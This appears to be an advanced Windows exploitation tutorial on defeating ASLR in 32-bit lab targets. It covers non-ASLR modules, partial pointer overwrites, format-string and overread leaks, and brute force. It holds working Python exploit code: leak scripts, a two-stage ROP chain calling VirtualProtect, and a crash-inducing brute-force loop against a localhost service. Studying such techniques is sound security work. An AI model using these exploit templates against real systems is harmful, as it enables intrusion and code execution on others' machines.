Tutorial

Bypassing ASLR on Windows

Defeat Windows ASLR with non-ASLR modules, partial pointer overwrites, and information leaks to build reliable exploits against randomized address spaces.

7 min read advanced

Prerequisites

  • Completion of the DEP bypass tutorial (ROP on Windows)
  • Understanding of Windows PE structure and DLL loading
  • Familiarity with Immunity Debugger and mona.py
  • Experience with ROP chain construction

Part 5 of 7 in Windows Exploitation

Table of Contents

Previous tutorials (most recently Bypassing DEP with ROP on Windows) disabled ASLR with /DYNAMICBASE:NO to focus on other techniques. This tutorial is best read as a 32-bit user-mode lab on classic Windows memory-corruption exploitation, not as a universal recipe for current Windows 11 targets. On modern systems, ASLR still matters, but exploit reliability also depends heavily on process mitigation policy, Control Flow Guard (CFG), and, on supported hardware/software stacks, CET shadow stacks.

ASLR isn’t absolute. Historically, modules compiled without /DYNAMICBASE could load at their preferred base address, information leaks could reveal randomized addresses at runtime, and partial overwrites could redirect execution without knowing the full address. This tutorial covers those patterns in the context where they were commonly taught: 32-bit Windows lab targets with limited exploit mitigations beyond DEP and baseline ASLR.

How Windows ASLR works

When a PE binary has the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag set, the Windows loader randomizes its base address at load time. On older 32-bit Windows lab setups, the randomization commonly appears per-boot for shared system DLLs and per-load for executables. The exact behavior varies by OS generation, architecture, and mitigation policy.

Without ASLR (predictable):
  ntdll.dll     → 0x7C900000  (always)
  kernel32.dll  → 0x7C800000  (always)
  vuln.exe      → 0x00400000  (always)

With ASLR (randomized per boot):
  ntdll.dll     → 0x77A30000  (this boot)
  kernel32.dll  → 0x76F10000  (this boot)
  vuln.exe      → 0x01120000  (this load)

Key implementation details for the 32-bit lab context used throughout this tutorial:

  • System DLLs were often randomized once at boot and shared across all processes. If you leaked kernel32.dll’s base in one process, you typically knew it for all processes until reboot.
  • Executables are randomized per-launch (high-entropy ASLR on 64-bit, lower entropy on 32-bit).
  • Stack and heap are independently randomized.
  • 32-bit entropy is limited: system DLLs typically have ~8 bits of entropy (256 positions) on Windows 7, though the exact range varies by module and OS version. This makes brute-force feasible in some scenarios.

Note

On current desktop and server builds, you should verify mitigation state before assuming any of the classic shortcuts in this article still apply. Mandatory ASLR can relocate modules that were not linked with /DYNAMICBASE, and CFG or CET can break ROP-style control-flow assumptions even after you learn the right addresses.

Technique 1: Non-ASLR modules

The simplest bypass. If any module in the process doesn’t have ASLR enabled, its base address is fixed, and all gadgets within it are at predictable addresses.

Finding non-ASLR modules

!mona modules
Module           Base       Size       ASLR    DEP    SafeSEH  OS DLL
vuln.exe         0x00400000 0x00010000 True    True   False    False
vulnlib.dll      0x10000000 0x00020000 False   True   False    False  ← no ASLR
MSVCR120.dll     0x73B80000 0x000F6000 True    True   True     True
ntdll.dll        0x77800000 0x001A0000 True    True   True     True
kernel32.dll     0x76500000 0x00110000 True    True   True     True

In this example, vulnlib.dll has ASLR disabled. All gadgets from this module are at fixed addresses.

This is more common than you’d expect. Third-party DLLs, legacy components, and applications compiled with older toolchains often ship without /DYNAMICBASE. Media players, enterprise software, and browser plugins have historically been rich sources of non-ASLR modules.

Building a ROP chain from non-ASLR modules

!mona rop -m vulnlib.dll -cpb "\x00\x0a\x0d"

If the non-ASLR module has enough gadgets, build the entire DEP bypass chain from it. If it doesn’t have everything you need (common, small DLLs may lack a PUSHAD gadget or NEG gadget), combine gadgets from multiple non-ASLR modules, or use the non-ASLR gadgets to leak a randomized address (technique 3).

Checking if a specific module has ASLR

From the command line, without a debugger:

# Using dumpbin (Visual Studio)
dumpbin /headers vulnlib.dll | findstr "DLL characteristics"

# Look for "Dynamic base" in the characteristics
# If absent, ASLR is not enabled

Or use Python:

import pefile

pe = pefile.PE('vulnlib.dll')
aslr = bool(pe.OPTIONAL_HEADER.DllCharacteristics & 0x40)  # IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
print(f'ASLR: {aslr}')

Technique 2: Partial pointer overwrites

When you can only overwrite part of a pointer (the low bytes), ASLR’s randomization of the high bytes doesn’t matter; you control the offset within the module, and the base stays whatever the loader chose.

How partial overwrites work

Because ASLR randomizes bases at 64KB (0x10000) alignment, the low 16 bits of any address within a module are determined solely by its fixed offset from the base. On 32-bit Windows, a DLL base might be 0x76XX0000 where XX varies, but the low two bytes stay the same.

Full address:   0x76F1|2A4C
                 ^^^^  ^^^^
                 |      |
                 |      +-- offset within module (fixed)
                 +--------- randomized base (varies)

If you overwrite only the low 2 bytes:
  Original:  0x76F1|0000  (some pointer)
  Overwrite: 0x76F1|2A4C  (your target, same module)
                     ^^^^
                     only these bytes changed

Practical application: SEH overwrites

SEH handler overwrites are a natural fit for partial overwrites. The SEH handler is a pointer stored on the stack. If you overwrite just the low two bytes with a POP POP RET gadget offset within the same module the handler already points to, you don’t need to know the base address.

# Only overwrite the low 2 bytes of the SEH handler
# The high 2 bytes remain whatever the module's randomized base is
seh_overwrite = struct.pack('<H', 0x2A4C)  # low 2 bytes of POP POP RET gadget

Warning

Partial overwrites require that the pointer you’re overwriting already points into the module where your target gadget lives. If the original pointer is into a different module, overwriting the low bytes won’t land you in the right place.

Null byte limitation

The most significant constraint: if the target offset has a null byte in its low bytes (e.g., 0x0040), and null bytes are bad characters, you can’t use that gadget with a partial overwrite. Search for gadgets whose offsets avoid your bad characters:

!mona find -type instr -s "pop r32; pop r32; ret" -m vulnlib.dll -cpb "\x00\x0a\x0d"

Technique 3: Information leaks

The most reliable ASLR bypass, and the dominant technique in modern exploitation, is leaking a randomized address at runtime, calculating the module base from it, and then using known offsets to construct the exploit on the fly.

What makes a good leak

An information leak for ASLR bypass needs to reveal:

  1. A pointer that belongs to a loaded module (so you can calculate the base)
  2. Enough of the address to determine the full base (all 4 or 8 bytes)

Common leak sources:

SourceHowReliability
Format string vulnerability%x or %p dumps stack pointersHigh, controlled output
Uninitialized stack variableFunction returns data from a buffer that wasn’t fully zeroedMedium, depends on layout
Use-after-freeFreed object’s metadata contains heap pointersHigh, but complex
Overread (buffer over-read)Read past the end of a buffer to reach adjacent pointersHigh, if layout is predictable

Exploiting a format string leak

If the target has a format string vulnerability, it’s the easiest path to an ASLR leak.

#!/usr/bin/env python3
import socket
import struct

def leak_address(target_host, target_port):
    """Use format string to leak a stack pointer."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_host, target_port))

    # Send format string to leak stack values
    # %p prints pointer-sized values from the stack
    payload = b"%p." * 20 + b"\n"
    s.sendall(payload)

    response = s.recv(4096).decode('ascii', errors='ignore')
    s.close()

    # Parse leaked pointers
    pointers = []
    for token in response.split('.'):
        token = token.strip()
        if token.startswith('0x') or token.startswith('0X'):
            try:
                val = int(token, 16)
                pointers.append(val)
            except ValueError:
                continue

    return pointers

def find_module_base(leaked_ptr, known_offset=None):
    """Calculate module base from a leaked pointer.

    Windows DLLs are loaded on 64KB boundaries (0x10000 aligned).
    If you know the offset of the leaked address within the module,
    subtract it. Otherwise, align down to the nearest 64KB boundary
    as an approximation (a full implementation would verify the MZ header).
    """
    if known_offset is not None:
        return leaked_ptr - known_offset

    # Align down to 64KB boundary as an approximation
    base_candidate = leaked_ptr & 0xFFFF0000
    return base_candidate

# Usage
pointers = leak_address("127.0.0.1", 9999)
print("Leaked pointers:")
for i, ptr in enumerate(pointers):
    print(f"  [{i:2d}] 0x{ptr:08x}")

# Identify which pointer belongs to which module
# (requires knowledge of the process memory layout)
# Example: pointer at index 7 is a return address into vuln.exe
main_module_ret = pointers[7]
# Module base = leaked address - offset of that return address within vuln.exe
# The offset is fixed for this exact binary build and can be found in the debugger
main_module_base = main_module_ret - 0x00012A4C  # example offset within vuln.exe
print(f"\nvuln.exe base: 0x{main_module_base:08x}")

Exploiting a buffer overread

If the application copies more data than it should into a response buffer, adjacent memory (which may contain pointers) leaks to the attacker.

def trigger_overread(host, port):
    """Trigger a buffer overread to leak adjacent pointers."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    # Request that causes the server to read past buffer boundaries
    # (application-specific — depends on the bug)
    s.sendall(b"GET /api?len=4096 HTTP/1.1\r\nHost: x\r\n\r\n")

    # The response contains the over-read data
    response = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        response += chunk
    s.close()

    # Search the response for pointer-like values
    # On 32-bit Windows, DLL addresses are typically in 0x70000000-0x7FFF0000
    for offset in range(0, len(response) - 3):
        val = struct.unpack_from('<I', response, offset)[0]
        if 0x70000000 <= val <= 0x7FFF0000:
            print(f"  Potential DLL pointer at response offset {offset}: 0x{val:08x}")

    return response

Two-stage exploit with leak

The typical flow for a leak-based ASLR bypass is a two-stage exploit:

Stage 1: Information leak
  → Send payload that triggers a leak
  ← Receive response containing a randomized address
  → Calculate module base from leaked address
  → Compute gadget addresses: base + known_offsets

Stage 2: Exploitation
  → Send overflow payload with calculated ROP addresses
  → ROP chain calls VirtualProtect
  → Shellcode executes
#!/usr/bin/env python3
import socket
import struct

pack = lambda x: struct.pack('<I', x)

TARGET = ("127.0.0.1", 9999)

# --- Stage 1: Leak ---
print("[*] Stage 1: Leaking ASLR base...")
pointers = leak_address(*TARGET)

# In this example, pointer[7] is a return address into vuln.exe itself.
# We leak the module we plan to ROP from so the base, gadgets, and IAT
# all belong to the same ASLR-enabled image.
module_base = find_module_base(pointers[7], known_offset=0x12A4C)
print(f"[+] vuln.exe base: 0x{module_base:08x}")

# --- Calculate gadget addresses ---
# These offsets come from mona for this exact vuln.exe build.
# Recalculate them whenever the binary changes.
POP_EAX_RET_OFF        = 0x0002431E
MOV_EAX_DEREF_RET_OFF  = 0x00011E70
XCHG_EAX_ESI_RET_OFF   = 0x00002DF9
NEG_EAX_RET_OFF        = 0x000353C3
XCHG_EAX_EBX_RET_OFF   = 0x00002DF8
XCHG_EAX_EDX_RET_OFF   = 0x00002E01
POP_ECX_RET_OFF        = 0x00004A10
POP_EDI_RET_OFF        = 0x00004A14
PUSHAD_RET_OFF         = 0x00002E08
RET_GADGET_OFF         = 0x000353C4
VIRTUAL_PROTECT_IAT_OFF = 0x00001120
WRITABLE_ADDR_OFF      = 0x0005F030

POP_EAX_RET        = module_base + POP_EAX_RET_OFF
MOV_EAX_DEREF_RET  = module_base + MOV_EAX_DEREF_RET_OFF
XCHG_EAX_ESI_RET   = module_base + XCHG_EAX_ESI_RET_OFF
NEG_EAX_RET        = module_base + NEG_EAX_RET_OFF
XCHG_EAX_EBX_RET   = module_base + XCHG_EAX_EBX_RET_OFF
XCHG_EAX_EDX_RET   = module_base + XCHG_EAX_EDX_RET_OFF
POP_ECX_RET        = module_base + POP_ECX_RET_OFF
POP_EDI_RET        = module_base + POP_EDI_RET_OFF
PUSHAD_RET         = module_base + PUSHAD_RET_OFF
RET_GADGET         = module_base + RET_GADGET_OFF
VIRTUAL_PROTECT_IAT = module_base + VIRTUAL_PROTECT_IAT_OFF
WRITABLE_ADDR      = module_base + WRITABLE_ADDR_OFF

# --- Stage 2: Exploit ---
print("[*] Stage 2: Sending ROP chain...")
rop_chain = b""
rop_chain += pack(POP_EAX_RET)
rop_chain += pack(VIRTUAL_PROTECT_IAT)
rop_chain += pack(MOV_EAX_DEREF_RET)
rop_chain += pack(XCHG_EAX_ESI_RET)
rop_chain += pack(POP_EAX_RET)
rop_chain += pack(0xfffffdff)
rop_chain += pack(NEG_EAX_RET)
rop_chain += pack(XCHG_EAX_EBX_RET)
rop_chain += pack(POP_EAX_RET)
rop_chain += pack(0xffffffc0)
rop_chain += pack(NEG_EAX_RET)
rop_chain += pack(XCHG_EAX_EDX_RET)
rop_chain += pack(POP_ECX_RET)
rop_chain += pack(WRITABLE_ADDR)
rop_chain += pack(POP_EDI_RET)
rop_chain += pack(RET_GADGET)
rop_chain += pack(POP_EAX_RET)
rop_chain += pack(0x90909090)
rop_chain += pack(PUSHAD_RET)

shellcode = b"\x90" * 16 + b"\xcc" * 200  # replace with real shellcode

payload = b"A" * 524 + rop_chain + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(TARGET)
s.sendall(payload)
s.close()
print("[+] Exploit sent")

Technique 4: Brute-forcing 32-bit ASLR

On 32-bit Windows, DLL ASLR has limited entropy. The randomization range depends on the module and Windows version, but is typically constrained to a few hundred positions at 64KB alignment. If the target process restarts after a crash (common for services), you can brute-force the base address.

import socket
import struct
import sys
import time

pack = lambda x: struct.pack('<I', x)

# Known offset of JMP ESP in target DLL (from static analysis)
JMP_ESP_OFFSET = 0x00012A4C

# Possible DLL bases — adjust range per target module.
# DLLs load on 64KB (0x10000) boundaries.
# On 32-bit Windows 7, system DLLs typically have ~8 bits of entropy
# (256 positions). Wider ranges are used here as a conservative sweep.
BASE_START = 0x70000000
BASE_END   = 0x7FFF0000
BASE_STEP  = 0x00010000

shellcode = b"\x90" * 16 + b"\xcc" * 200  # replace with real shellcode

attempts = 0
for base in range(BASE_START, BASE_END, BASE_STEP):
    jmp_esp = base + JMP_ESP_OFFSET

    # Skip if address contains bad characters
    addr_bytes = struct.pack('<I', jmp_esp)
    if any(b in addr_bytes for b in [0x00, 0x0a, 0x0d]):
        continue

    attempts += 1
    payload = b"A" * 524 + pack(jmp_esp) + b"\x90" * 16 + shellcode

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect(("127.0.0.1", 9999))
        s.sendall(payload)
        s.close()
    except (ConnectionRefusedError, socket.timeout):
        # Process crashed and hasn't restarted yet, wait
        time.sleep(1)
        continue

    sys.stdout.write(f"\r[*] Attempt {attempts}: base=0x{base:08x}")
    sys.stdout.flush()

print(f"\n[*] Completed {attempts} attempts")

Warning

Brute-forcing is noisy and slow. It crashes the target hundreds of times. This is a last resort when no leak is available and all modules have ASLR. On 64-bit systems, ASLR entropy is too high for brute-force to be practical.

Combining ASLR and DEP bypass

Real-world exploitation on modern Windows requires defeating both ASLR and DEP simultaneously. The standard approach:

  1. Find a leak, use a format string, overread, or other info disclosure bug to reveal a module’s base address
  2. Calculate gadget addresses, add known offsets to the leaked base
  3. Build the ROP chain, use the calculated addresses to construct a VirtualProtect or VirtualAlloc chain
  4. Execute shellcode, the ROP chain makes the shellcode region executable, then jumps to it

If no leak is available but a non-ASLR module exists, build the entire chain from that module’s gadgets; no leak needed.

Decision tree:

  Non-ASLR module in process?
   ├── Yes → Build ROP chain from it (DEP bypass technique)
   └── No → Info leak available?
        ├── Yes → Leak base, calculate gadgets, build ROP
        └── No → 32-bit target?
             ├── Yes → Brute-force (noisy, last resort)
             └── No → Need a different bug class

Tips and troubleshooting

DLL base changes on reboot only

Windows randomizes system DLL bases once per boot. If you’re testing and the addresses change unexpectedly, you rebooted or the DLL was unloaded and reloaded. Within a single boot, kernel32.dll has the same base in every process.

Version-specific offsets

Gadget offsets within a DLL change between versions. An exploit targeting kernel32.dll on Windows 11 build 22621 won’t work on build 26100 without updating offsets. Document the exact OS build and DLL version (check Properties → Details → File version in Explorer).

EMET and Exploit Guard

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET, now superseded by Windows Exploit Protection / Microsoft Defender Exploit Guard) adds additional ASLR protections: mandatory ASLR (ForceRelocateImages), bottom-up randomization, and high-entropy ASLR. These can defeat the non-ASLR module technique. Modern Windows deployments may also enable CFG and hardware-enforced stack protection (CET user shadow stacks), which raise the bar beyond the ASLR-specific considerations in this tutorial. Check the active mitigation policy before drawing conclusions from debugger behavior:

Get-ProcessMitigation -Name vuln.exe

Look in particular for ForceRelocateImages, ControlFlowGuard, and UserShadowStack or related hardware-enforced stack protection settings. If those are enabled, many pre-Windows-10-era exploit development workflows need substantial adjustment or fail outright.

Heap spraying for ASLR bypass

On 32-bit systems, heap spraying can place controlled data at a predictable address. By allocating many large heap blocks filled with a NOP sled + shellcode, you increase the probability that a guessed address lands in your controlled region. This is primarily relevant for browser exploits and is less applicable to network service exploitation.